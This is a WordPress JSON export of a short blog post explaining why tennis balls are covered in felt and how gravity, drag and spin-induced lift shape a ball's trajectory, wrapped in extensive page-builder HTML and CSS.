{"id":4872,"date":"2016-07-09T19:40:40","date_gmt":"2016-07-09T14:10:40","guid":{"rendered":"https:\/\/spyn.co\/blog\/?p=4872"},"modified":"2023-11-29T17:47:58","modified_gmt":"2023-11-29T12:17:58","slug":"tennis-ball-aerodynamics","status":"publish","type":"post","link":"https:\/\/spyn.co\/blog\/tennis-ball-aerodynamics\/","title":{"rendered":"Fuzzy Secrects of the Tennis Ball"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-7cded4bd98cab4be45092bcb90fc086b\">\n.avia-section.av-av_section-7cded4bd98cab4be45092bcb90fc086b{\nbackground-color:#666666;\nbackground-image:url(https:\/\/spyn.co\/blog\/wp-content\/uploads\/Djokovich.jpg);\nbackground-repeat:no-repeat;\nbackground-position:50% 50%;\nbackground-attachment:scroll;\n}\n.avia-section.av-av_section-7cded4bd98cab4be45092bcb90fc086b .av-section-color-overlay{\nopacity:0.5;\nbackground-color:#000000;\n}\n<\/style>\n<div id='banner'  class='avia-section av-av_section-7cded4bd98cab4be45092bcb90fc086b main_color avia-section-no-padding avia-no-border-styling  avia-builder-el-0  el_before_av_section  avia-builder-el-first  avia-full-stretch avia-bg-style-scroll av-section-color-overlay-active av-minimum-height av-minimum-height-75 av-height-75  container_wrap fullsize'  data-section-bg-repeat='stretch' data-av_minimum_height_pc='75' data-av_min_height_opt='75'><div class=\"av-section-color-overlay-wrap\"><div class=\"av-section-color-overlay\"><\/div><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4872'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-e2827604568d6684e4aadd2f8d4e401e\">\n#top .av-special-heading.av-av_heading-e2827604568d6684e4aadd2f8d4e401e{\npadding-bottom:10px;\ncolor:#ffffff;\nfont-size:50px;\n}\nbody .av-special-heading.av-av_heading-e2827604568d6684e4aadd2f8d4e401e .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n#top #wrap_all .av-special-heading.av-av_heading-e2827604568d6684e4aadd2f8d4e401e .av-special-heading-tag{\nfont-size:50px;\n}\n.av-special-heading.av-av_heading-e2827604568d6684e4aadd2f8d4e401e .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-e2827604568d6684e4aadd2f8d4e401e .av-subheading{\nfont-size:15px;\n}\n\n@media only screen and (min-width: 480px) and (max-width: 767px){ \n#top #wrap_all .av-special-heading.av-av_heading-e2827604568d6684e4aadd2f8d4e401e .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n\n@media only screen and (max-width: 479px){ \n#top #wrap_all .av-special-heading.av-av_heading-e2827604568d6684e4aadd2f8d4e401e .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-e2827604568d6684e4aadd2f8d4e401e av-special-heading-h1 custom-color-heading blockquote modern-quote modern-centered  avia-builder-el-1  el_before_av_one_fifth  avia-builder-el-first  av-inherit-size'><h1 class='av-special-heading-tag '  itemprop=\"headline\"  >Fuzzy Secrets of the Tennis Ball<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-2  el_after_av_heading  el_before_av_three_fifth  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-3  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b\">\n#top .av_textblock_section.av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b .avia_textblock{\nfont-size:18px;\ncolor:#e2e2e2;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\">Have you wondered why the tennis ball, unlike any other, is covered in felt? Or what players look at before choosing a ball for their service? The answer lies in its aerodynamics.<\/p>\n<\/div><\/section><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-5  el_after_av_three_fifth  el_before_av_hr  flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-6  el_after_av_one_fifth  el_before_av_textblock '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-5621182bd2592f898ca26ee7672df748\">\n#top .av_textblock_section.av-av_textblock-5621182bd2592f898ca26ee7672df748 .avia_textblock{\nfont-size:12px;\ncolor:#e2e2e2;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-5621182bd2592f898ca26ee7672df748 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\"><em>by Nayan Karnavat<\/em><\/p>\n<p style=\"text-align: center\"><em>Reading time ~ 3 mins<\/em><\/p>\n<\/div><\/section>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><\/div><div id='av_section_2'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-8  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4872'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-9  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-10  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>The early\u00a0tennis balls used stuffing of various materials like wool and human hair with leather to cover it. In 1870, the vulcanized rubber ball was introduced. To improve its playing properties, flannel was stitched over the rubber. The flannel is now replaced with customized \u2018melton\u2019 cloth (felt). But how does it help?<\/p>\n<\/div><\/section><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-12  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_3'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-13  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4872'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-14  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-15  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-5deb37352b5f6c79b8dab56693a90daa\">\n#top .av-special-heading.av-av_heading-5deb37352b5f6c79b8dab56693a90daa{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-5deb37352b5f6c79b8dab56693a90daa .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-5deb37352b5f6c79b8dab56693a90daa .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-5deb37352b5f6c79b8dab56693a90daa av-special-heading-h3 blockquote modern-quote  avia-builder-el-16  el_before_av_hr  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Why is a tennis ball covered with felt.<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-17  el_after_av_heading  el_before_av_image '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-f0d8684089e028dd16a602d5076a7007\">\n.avia-image-container.av-av_image-f0d8684089e028dd16a602d5076a7007 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-f0d8684089e028dd16a602d5076a7007 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-f0d8684089e028dd16a602d5076a7007 av-styling- avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-18  el_after_av_hr  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4873 avia-img-lazy-loading-not-4873 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-ball-felt.jpg\" alt='Tennis Ball felt' title='tennis-ball-felt'  height=\"360\" width=\"640\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-ball-felt.jpg 640w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-ball-felt-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-ball-felt-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-ball-felt-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-ball-felt-32x18.jpg 32w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Felt used over the ball is customized for tennis with more loose strands of fibre than used in clothing. It<\/p>\n<ul>\n<li>Reduces the speed of the ball both off the racket and through the air<\/li>\n<li>Improves ball control by preventing the ball to bounce away wildly after racket impact<\/li>\n<li>Reduces bounce so that the ball bounces at a comfortable height<\/li>\n<\/ul>\n<p>The felt is often referred to as fuzz, although fuzziness is a state of the felt fibers.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-20  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n<\/p>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-f500abf892d441c9642f46a79b5a9d4f\">\n.avia-section.av-av_section-f500abf892d441c9642f46a79b5a9d4f{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_4'  class='avia-section av-av_section-f500abf892d441c9642f46a79b5a9d4f main_color avia-section-default avia-no-border-styling  avia-builder-el-21  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4872'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-22  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-23  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-a3d07da1591937de2eda3e3fe781d371\">\n#top .av_textblock_section.av-av_textblock-a3d07da1591937de2eda3e3fe781d371 .avia_textblock{\nfont-size:20px;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-a3d07da1591937de2eda3e3fe781d371 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><blockquote>\n<h2 style=\"color: #666666;font-size: 35px;text-align: center\">Baggage\u00a0can slow you down, just like the fur of a Tennis ball. Shed it.<\/h2>\n<\/blockquote>\n<\/div><\/section><br \/>\n<\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-26  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_5'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-27  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4872'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-28  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-29  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-2bea916de09c5c4a9813148954135fbe\">\n#top .av-special-heading.av-av_heading-2bea916de09c5c4a9813148954135fbe{\npadding-bottom:10px;\nfont-size:20px;\n}\nbody .av-special-heading.av-av_heading-2bea916de09c5c4a9813148954135fbe .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n#top #wrap_all .av-special-heading.av-av_heading-2bea916de09c5c4a9813148954135fbe .av-special-heading-tag{\nfont-size:20px;\n}\n.av-special-heading.av-av_heading-2bea916de09c5c4a9813148954135fbe .av-subheading{\nfont-size:15px;\n}\n\n@media only screen and (min-width: 480px) and (max-width: 767px){ \n#top #wrap_all .av-special-heading.av-av_heading-2bea916de09c5c4a9813148954135fbe .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n\n@media only screen and (max-width: 479px){ \n#top #wrap_all .av-special-heading.av-av_heading-2bea916de09c5c4a9813148954135fbe .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-2bea916de09c5c4a9813148954135fbe av-special-heading-h3 blockquote modern-quote  avia-builder-el-30  el_before_av_hr  avia-builder-el-first  av-inherit-size'><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >How topspin and backspin affect ball flight.<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-31  el_after_av_heading  el_before_av_image '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-88edbe1446030e92a6f665ed4c7662fd\">\n.avia-image-container.av-av_image-88edbe1446030e92a6f665ed4c7662fd img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-88edbe1446030e92a6f665ed4c7662fd .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-88edbe1446030e92a6f665ed4c7662fd av-styling- avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-32  el_after_av_hr  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4878 avia-img-lazy-loading-not-4878 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tennis-ball-forces.jpg\" alt='Tennis ball forces' title='Tennis ball forces'  height=\"480\" width=\"670\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tennis-ball-forces.jpg 670w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tennis-ball-forces-300x215.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tennis-ball-forces-260x185.jpg 260w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tennis-ball-forces-450x322.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tennis-ball-forces-128x92.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tennis-ball-forces-32x23.jpg 32w\" sizes=\"(max-width: 670px) 100vw, 670px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>3 major forces affect the movement of a ball \u2013 gravity and aerodynamic forces of drag and lift. These define the trajectory and speed of the ball.<\/p>\n<p><strong>Gravity<\/strong> always pulls the ball downwards.<\/p>\n<p><strong>Drag: <\/strong>The friction between the ball and the air it is moving through causes drag. Drag always acts in the direction opposite to the motion of the ball tending to slow down its speed as compared to if the air wasn\u2019t there.<\/p>\n<p>Most players are used to objects following the trajectory dictated by gravity and drag. Throwing and catching the ball teaches you to anticipate the gravity and drag acting on it.<\/p>\n<\/div><\/section><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-34  el_after_av_textblock  el_before_av_image '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-ab009b6c906b4b25636c460770646ee6\">\n.avia-image-container.av-av_image-ab009b6c906b4b25636c460770646ee6 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-ab009b6c906b4b25636c460770646ee6 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-ab009b6c906b4b25636c460770646ee6 av-styling- avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-35  el_after_av_hr  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4875 avia-img-lazy-loading-not-4875 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Topspin.png\" alt='Tennis Felt' title='Topspin'  height=\"321\" width=\"580\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Topspin.png 580w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Topspin-300x166.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Topspin-450x249.png 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Topspin-128x71.png 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Topspin-32x18.png 32w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p><strong>Lift: <\/strong>There is another aerodynamic force acting between the felt (fuzz) and the air that depends on the speed, spin imparted to the ball and the fuzz on it. This is called lift (Don\u2019t let the word lift make you believe that it acts upwards \u2013 it may act upwards or downwards depending on the spin on the ball).<\/p>\n<p>Topspin: When the ball is imparted a topspin \u2013 the top surface is moving against the air flow (high resistance) while the bottom surface is moving with the air. High pressure is created by air near the top surface that tend to push the ball down. This is witnessed as a dip in ball trajectory as compared to its trajectory without any spin. Players use this dip in lobs and passing shots when the opponent is near the net.<\/p>\n<p>Backspin: When the ball is imparted a backspin, the reverse happens \u2013 the top surface is moving with the airflow while the bottom surface is moving against it (high resistance). High pressure is created at the bottom that tends to push the ball upwards. That\u2019s why the ball appears to float \/ hang \/ glide in the air longer than usual when players slice the ball. The higher the spin the more exaggerated is the effect of lift.<\/p>\n<p>A lot more can be read about this <a href=\"http:\/\/twu.tennis-warehouse.com\/learning_center\/aerodynamics2.php\" target=\"_blank\" rel=\"noopener\">here<\/a> for the technically inclined.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-37  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_6'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-38  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4872'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-39  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-40  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     